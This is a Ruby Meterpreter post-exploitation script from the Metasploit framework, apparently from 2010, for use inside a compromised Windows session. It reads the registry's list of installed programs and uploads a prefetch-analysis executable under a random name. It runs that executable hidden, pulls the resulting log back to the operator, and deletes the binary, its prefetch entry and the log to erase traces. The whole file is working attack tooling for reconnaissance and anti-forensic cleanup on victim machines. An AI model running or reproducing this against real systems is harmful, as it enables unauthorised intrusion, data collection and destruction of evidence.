# $Id: prefetchtool.rb 10277 2010-09-09 16:09:27Z darkoperator $
#Meterpreter script for extracting information from windows prefetch folder
#Provided by Milo at keith.lee2012[at]gmail.com
#Verion: 0.1.0

require 'fileutils'
require 'net/http'
require 'digest/sha1'

@session = client
@host,@port = @session.tunnel_peer.split(':')

# Script Options
@@exec_opts = Rex::Parser::Arguments.new(
        "-h" => [ false,  "Help menu."],
		"-p" => [ false,  "List Installed Programs"],
		"-c" => [ false,  "Disable SHA1/MD5 checksum"],
		"-x" => [ true,   "Top x Accessed Executables (Based on Prefetch folder)"],
		"-i" => [ false,  "Perform lookup for software name"],
		"-l" => [ false,  "Download Prefetch Folder Analysis Log"]
		)

@tempdir = @session.fs.file.expand_path("%TEMP%")

#---------------------------------------------------------------------------------------------------------
def read_program_list
	key = @session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', KEY_READ)
	sfmsvals = key.enum_key
	sfmsvals.each do |test1|
		begin
			key2 = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"+test1
			root_key2, base_key2 = @session.sys.registry.splitkey(key2)
			value1 = "DisplayName"
			value2 = "DisplayVersion"
			open_key = @session.sys.registry.open_key(root_key2, base_key2, KEY_READ)
			v1 = open_key.query_value(value1)
			v2 = open_key.query_value(value2)
			print_status("#{v1.data}\t(Version:  #{v2.data})")
		rescue
		end
	end
end

def prefetch_dump(options, logging=false)

	lexe = File.join(Msf::Config.data_directory, "prefetch.exe")
	rexe = sprintf("%.5d",rand(100000)) + ".exe"
	rlog = sprintf("%.5d",rand(100000)) + ".txt"

	print_status("Uploading Prefetch-tool for analyzing Prefetch folder...")
	begin
		@session.fs.file.upload_file("#{@tempdir}\\#{rexe}", lexe)
		print_status("Prefetch-tool uploaded as #{@tempdir}\\#{rexe}")
	rescue ::Interrupt; raise $!
	rescue ::Exception => e
		print_status("The following error was encountered: #{e.class} #{e}")
		return
	end

	begin

		if(logging)
			options += " --txt=#{@tempdir}\\#{rlog}"
		end

		r = @session.sys.process.execute("cmd.exe /c #{@tempdir}\\#{rexe} #{options} #{rlog}", nil, {'Hidden' => 'true','Channelized' => true})
		while(d = r.channel.read)
			d.split("\n").each do |out|
				print_status("OUT> #{out.strip}")
			end
		end

		found = true
		while (not found)
			found = false
			@session.sys.process.get_processes().each do |x|
				found = false
				if (x['name'].downcase == rexe)
					found = true
				end
			end
			sleep(0.5) if found
		end

		r.channel.close
		r.close

		print_status("Deleting #{rexe} from target...")
		@session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rexe}", nil, {'Hidden' => 'true'})

		print_status("Clearing prefetch-tool prefetch entry ...")
		@session.sys.process.execute("cmd.exe /c del %windir%\\prefetch\\#{rexe.gsub('.exe','')}*.pf", nil, {'Hidden' => 'true'})

		if(logging)
			logfile = ::File.join(Msf::Config.config_directory, 'logs', 'prefetch', @host + "-" + ::Time.now.strftime("%Y%m%d.%M%S") + ".log")
			print_status("[*] Saving prefetch logs to #{logfile}...")
			@session.fs.file.download_file(logfile, "#{@tempdir}\\#{rlog}")
			print_status("[*] Deleting log file from target...")
			@session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rlog}", nil, {'Hidden' => 'true'})
		end

	rescue ::Interrupt; raise $!
	rescue ::Exception => e
		print_status("The following error was encountered: #{e.class} #{e}")
		return
	end
end


#check for proper Meterpreter Platform
def unsupported
	print_error("This version of Meterpreter is not supported with this Script!")
	raise Rex::Script::Completed
end



################## MAIN ##################

options       = ""
logging       = false
view_list     = false
check_update  = false

@@exec_opts.parse(args) { |opt, idx, val|
	case opt
	when "-x"
		options += " --x=" + val
	when "-c"
		options += " --disable-md5 --disable-sha1"
	when "-p"
		view_list = true
	when "-i"
		options += " --inet-lookup"
	when "-l"
		logging = true
	when "-h"
		print_status( "Prefetch-tool Meterpreter Script")
		print_line(@@exec_opts.usage)
		raise Rex::Script::Completed
	end
}
platform = client.platform.scan(/(win32|win64)/)
unsupported if not platform
prefetch_local = ::File.join(Msf::Config.data_directory, "prefetch.exe")

if !(::File.exist?(prefetch_local))
	print_status("No local copy of prefetch.exe, downloading from the internet...")
	Net::HTTP.start("prefetch-tool.googlecode.com") do |http|
		req  = Net::HTTP::Get.new("/files/prefetch.exe")
		resp = http.request(req)
		::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd|
			fd.write(resp.body)
		end
	end
	print_status("Downloaded prefetch.exe to #{prefetch_local}")
else
	print_status("Checking for an updated copy of prefetch.exe..")
	digest = Digest::SHA1.hexdigest(::File.read(prefetch_local, ::File.size(prefetch_local)))

	Net::HTTP.start("code.google.com") do |http|
		req     = Net::HTTP::Get.new("/p/prefetch-tool/downloads/detail?name=prefetch.exe&can=2&q=")
		resp    = http.request(req)
		body    = resp.body
		chksum  = body.scan(/SHA1 Checksum:.*<\/span><br>/)[0]
		chksum.sub!(/SHA1 Checksum: /,'')
		chksum.sub!(/<\/span><br>/,'')

		if (digest != chksum)
			print_status("Downloading an updated version of prefetch.exe to #{prefetch_local}...")
			Net::HTTP.start("prefetch-tool.googlecode.com") do |http|
				req  = Net::HTTP::Get.new("/files/prefetch.exe")
				resp = http.request(req)
				::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd|
					fd.write(resp.body)
				end
			end
			print_status("Downloaded prefetch.exe to #{prefetch_local}")
		end
	end
end

if (view_list)
	read_program_list()
end

print_status("Running Prefetch-tool script...")
prefetch_dump(options, logging)

